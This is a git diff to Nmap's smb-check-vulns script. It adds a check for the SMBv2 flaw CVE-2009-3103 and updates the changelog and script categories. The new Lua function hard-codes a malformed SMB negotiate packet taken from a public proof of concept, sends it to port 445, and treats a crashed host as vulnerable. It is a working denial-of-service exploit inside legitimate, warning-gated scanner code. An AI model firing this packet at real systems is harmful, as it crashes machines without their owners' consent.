diff --git a/CHANGELOG b/CHANGELOG
index 9d251805f..4ce73e535 100644
--- a/CHANGELOG
+++ b/CHANGELOG
@@ -1,5 +1,10 @@
# Nmap Changelog ($Id$); -*-text-*-
+o Added a check for a SMBv2 vulnerability (CVE-2009-3103) to
+ smb-check-vulns. Due to its nature (it performs a DoS, then checks
+ if the system is still online), the script isn't run by default
+ and requires a special script-arg to work. [Ron]
+
o Fixed an integer overflow that could occur when a target with a low
TCP timestamp clock frequency uses large timestamp values, such that
a naive uptime calculation shows a boot time before the epoch. Also
diff --git a/scripts/script.db b/scripts/script.db
index 47287f7bf..7f12743c0 100644
--- a/scripts/script.db
+++ b/scripts/script.db
@@ -39,7 +39,7 @@ Entry { filename = "robots.txt.nse", categories = { "default", "discovery", "saf
Entry { filename = "rpcinfo.nse", categories = { "default", "discovery", "safe", } }
Entry { filename = "skypev2-version.nse", categories = { "version", } }
Entry { filename = "smb-brute.nse", categories = { "auth", "intrusive", } }
-Entry { filename = "smb-check-vulns.nse", categories = { "intrusive", } }
+Entry { filename = "smb-check-vulns.nse", categories = { "dos", "exploit", "intrusive", } }
Entry { filename = "smb-enum-domains.nse", categories = { "discovery", "intrusive", } }
Entry { filename = "smb-enum-processes.nse", categories = { "discovery", "intrusive", } }
Entry { filename = "smb-enum-sessions.nse", categories = { "discovery", "intrusive", } }
diff --git a/scripts/smb-check-vulns.nse b/scripts/smb-check-vulns.nse
index 90440481f..3a78ec9ce 100644
--- a/scripts/smb-check-vulns.nse
+++ b/scripts/smb-check-vulns.nse
@@ -3,6 +3,7 @@ Check for vulnerabilities:
* MS08-067, a Windows RPC vulnerability
* Conficker, an infection by the Conficker worm
* Unnamed regsvc DoS, a denial-of-service vulnerability I accidentically found in Windows 2000
+* SMBv2 exploit (CVE-2009-3103, Microsoft Security Advisory 975497)
WARNING: These checks are dangerous, and are very likely to bring down a server.
These should not be run in a production environment unless you (and, more importantly,
@@ -44,6 +45,12 @@ reported to Microsoft (case #MSRC8742).
This check WILL crash the service, if it's vulnerable, and requires a guest account
or higher to work. It is considered unsafe.
+SMBv2 DoS -- performs a denial-of-service against the vulnerability disclosed in
+CVE-2009-3103. Checks if the server went offline. This works agianst Windows Vista
+and some versions of Windows 7, and causes a bluescreen if successful. The proof-
+of-concept code at was used,
+with one small change.
+
(Note: if you have other SMB/MSRPC vulnerability checks you'd like to see added, and
you can show me a tool with a license that is compatible with Nmap's, post a request
on the Nmap-dev mailing list and I'll add it to my list [Ron Bowes]).
@@ -58,7 +65,8 @@ on the Nmap-dev mailing list and I'll add it to my list [Ron Bowes]).
-- | smb-check-vulns:
-- | MS08-067: FIXED
-- | Conficker: Likely INFECTED
--- |_ regsvc DoS: VULNERABLE
+-- | regsvc DoS: FIXED
+-- |_ SMBv2 DoS (CVE-2009-3103): VULNERABLE
--
-- @args unsafe If set, this script will run checks that, if the system isn't
-- patched, are basically guaranteed to crash something. Remember that
@@ -70,7 +78,7 @@ on the Nmap-dev mailing list and I'll add it to my list [Ron Bowes]).
author = "Ron Bowes"
copyright = "Ron Bowes"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
-categories = {"intrusive"}
+categories = {"intrusive","exploit","dos"}
-- Set the runlevel to >2 so this runs last (so if it DOES crash something, it doesn't
-- till other scans have had a chance to run)
runlevel = 2
@@ -300,6 +308,89 @@ function check_winreg_Enum_crash(host)
return true, PATCHED
end
+local function check_smbv2_dos(host)
+ local status, result
+
+ if(nmap.registry.args.safe ~= nil) then
+ return true, NOTRUN
+ end
+ if(nmap.registry.args.unsafe == nil) then
+ return true, NOTRUN
+ end
+
+ -- From http://seclists.org/fulldisclosure/2009/Sep/0039.html with one change on the last line.
+ local buf = string.char(0x00, 0x00, 0x00, 0x90) .. -- Begin SMB header: Session message
+ string.char(0xff, 0x53, 0x4d, 0x42) .. -- Server Component: SMB
+ string.char(0x72, 0x00, 0x00, 0x00) .. -- Negociate Protocol
+ string.char(0x00, 0x18, 0x53, 0xc8) .. -- Operation 0x18 & sub 0xc853
+ string.char(0x00, 0x26) .. -- Process ID High: --> :) normal value should be ", 0x00, 0x00"
+ string.char(0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0xff, 0xff, 0xfe) ..
+ string.char(0x00, 0x00, 0x00, 0x00, 0x00, 0x6d, 0x00, 0x02, 0x50, 0x43, 0x20, 0x4e, 0x45, 0x54) ..
+ string.char(0x57, 0x4f, 0x52, 0x4b, 0x20, 0x50, 0x52, 0x4f, 0x47, 0x52, 0x41, 0x4d, 0x20, 0x31) ..
+ string.char(0x2e, 0x30, 0x00, 0x02, 0x4c, 0x41, 0x4e, 0x4d, 0x41, 0x4e, 0x31, 0x2e, 0x30, 0x00) ..
+ string.char(0x02, 0x57, 0x69, 0x6e, 0x64, 0x6f, 0x77, 0x73, 0x20, 0x66, 0x6f, 0x72, 0x20, 0x57) ..
+ string.char(0x6f, 0x72, 0x6b, 0x67, 0x72, 0x6f, 0x75, 0x70, 0x73, 0x20, 0x33, 0x2e, 0x31, 0x61) ..
+ string.char(0x00, 0x02, 0x4c, 0x4d, 0x31, 0x2e, 0x32, 0x58, 0x30, 0x30, 0x32, 0x00, 0x02, 0x4c) ..
+ string.char(0x41, 0x4e, 0x4d, 0x41, 0x4e, 0x32, 0x2e, 0x31, 0x00, 0x02, 0x4e, 0x54, 0x20, 0x4c) ..
+ string.char(0x4d, 0x20, 0x30, 0x2e, 0x31, 0x32, 0x00, 0x02, 0x53, 0x4d, 0x42, 0x20, 0x32, 0x2e) ..
+ string.char(0x30, 0x30, 0x32, 0x00)
+
+ local socket = nmap:new_socket()
+ if(socket == nil) then
+ return false, "Couldn't create socket"
+ end
+
+ status, result = socket:connect(host.ip, 445)
+ if(status == false) then
+ socket:close()
+ return false, "Couldn't connect to host: " .. result
+ end
+
+ status, result = socket:send(buf)
+ if(status == false) then
+ socket:close()
+ return false, "Couldn't send the buffer: " .. result
+ end
+
+ -- Close the socket
+ socket:close()
+
+ -- Give it some time to crash
+ stdnse.print_debug(1, "smb-check-vulns: Waiting 5 seconds to see if Windows crashed")
+ stdnse.sleep(5)
+
+ -- Create a new socket
+ socket = nmap:new_socket()
+ if(socket == nil) then
+ return false, "Couldn't create socket"
+ end
+
+ -- Try and do something simple
+ stdnse.print_debug(1, "smb-check-vulns: Attempting to connect to the host")
+ socket:set_timeout(5000)
+ status, result = socket:connect(host.ip, 445)
+
+ -- Check the result
+ if(status == false or status == nil) then
+ stdnse.print_debug(1, "smb-check-vulns: Connect failed, host is likely vulnerable!")
+ socket:close()
+ return true, VULNERABLE
+ end
+
+ -- Try sending something
+ stdnse.print_debug(1, "smb-check-vulns: Attempting to send data to the host")
+ status, result = socket:send("AAAA")
+ if(status == false or status == nil) then
+ stdnse.print_debug(1, "smb-check-vulns: Send failed, host is likely vulnerable!")
+ socket:close()
+ return true, VULNERABLE
+ end
+
+ stdnse.print_debug(1, "smb-check-vulns: Checks finished; host is likely not vulnerable.")
+ socket:close()
+ return true, PATCHED
+end
+
---Returns the appropriate text to display, if any.
--
--@param check The name of the check; for example, 'ms08-067'.
@@ -375,7 +466,21 @@ action = function(host)
elseif(result == NOTRUN) then
response = response .. get_response("regsvc DoS", "CHECK DISABLED", "add '--script-args=unsafe=1' to run", 1)
else
- response = response .. get_response("regsvc DoS", "FIXED", "add '--script-args=unsafe=1' to run", 1)
+ response = response .. get_response("regsvc DoS", "FIXED", nil, 1)
+ end
+ end
+
+ -- Check for SMBv2 vulnerablity
+ status, result = check_smbv2_dos(host)
+ if(status == false) then
+ response = response .. get_response("SMBv2 DoS (CVE-2009-3103)", "ERROR", result, 0, 1)
+ else
+ if(result == VULNERABLE) then
+ response = response .. get_response("SMBv2 DoS (CVE-2009-3103)", "VULNERABLE", nil, 0)
+ elseif(result == NOTRUN) then
+ response = response .. get_response("SMBv2 DoS (CVE-2009-3103)", "CHECK DISABLED", "add '--script-args=unsafe=1' to run", 1)
+ else
+ response = response .. get_response("SMBv2 DoS (CVE-2009-3103)", "FIXED", nil, 1)
end
end